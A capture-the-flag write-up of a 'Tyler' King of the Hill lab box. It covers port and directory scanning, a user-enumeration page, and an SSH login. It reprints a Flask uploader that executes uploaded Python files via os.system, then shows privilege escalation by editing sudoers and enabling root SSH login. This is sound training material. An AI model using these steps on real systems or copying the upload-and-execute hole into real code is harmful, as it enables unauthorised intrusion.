Links

Vincent's Tyler KOTH writeup

Recon

nmap

# sh recon.sh 10.10.172.202
Host is up.
Starting Nmap 7.80 ( https://nmap.org )
[...]
Not shown: 992 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/7.3.16)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
3306/tcp open mysql MariaDB (unauthorized)
5000/tcp open http Werkzeug httpd 1.0.0 (Python 3.6.8)
8080/tcp open http nginx 1.16.1
9999/tcp open abyss?
Service Info: Host: TYLER
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.87 seconds
Raw packets sent: 1103 (48.508KB) | Rcvd: 1022 (40.912KB)

Gobuster

# gobuster dir -u 10.10.172.202 -w /usr/share/wordlists/rockyou.txt -x php,txt -t 100
===============================================================
/upload (Status: 301)
Looking at a regular gobuster, there's nothing useful. I uploaded php_reverse_shell.php but I couldn't find where it was uploaded.

alert.txt

cat alert.txt
Let's keep things interesting... X8JEETQmf3hkS65f

dirsearch.py

git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
./dirsearch.py -u http://tyler.thm/ -w /usr/share/wordlists/rockyou.txt -e html,txt
/betatest/
From here we find something called checkuser.php. Typing in tdurden replies with:
tdurden:x:1000:1000::Tyler Durden:/home/tdurden/bin/bash tdurden:x:1000:1000:Tyler Durden:/home/tdurden:/bin/bash
Typing narrator gives us:
narrator:x:1002:1002::/home/narrator:/bin/bash narrator/:x:1002:1002::/home/narrator/:/bin/bash

SSH

ssh into narrator
[email protected]'s password:
Last login: Thu Mar 26 10:52:23 2020 from cyberdyne

app.py

#!/usr/bin/python3
import os
from flask import Flask, flash, request, redirect, render_template
from werkzeug.utils import secure_filename
UPLOAD_FOLDER = './uploads'
app = Flask(__name__)
app.secret_key = "secret key"
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024
ALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif', 'py'])
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/')
def upload_form():
return render_template('upload.html')
@app.route('/', methods=['POST'])
def upload_file():
if request.method == 'POST':
# check if the post request has the file part
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
flash('No file selected for uploading')
return redirect(request.url)
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
os.system('/usr/bin/python3 ' + os.path.join(app.config['UPLOAD_FOLDER'], filename))
flash('File successfully uploaded')
return redirect('/')
else:
flash('Allowed file types are txt, pdf, png, jpg, jpeg, gif, py')
return redirect(request.url)
if __name__ == "__main__":
app.run(host='0.0.0.0')

Privilege Escalation

[[email protected] ~]$ vim /etc/sudoers
From here, you add narrator to the sudoers file:
narrator ALL=(ALL) ALL
:wq!
After this, you type sudo -i to get to root.

After root

vim /etc/ssh/sshd_config
Go to PermitRootLogin and change the parameter from no to yes.
:wq! # Save your work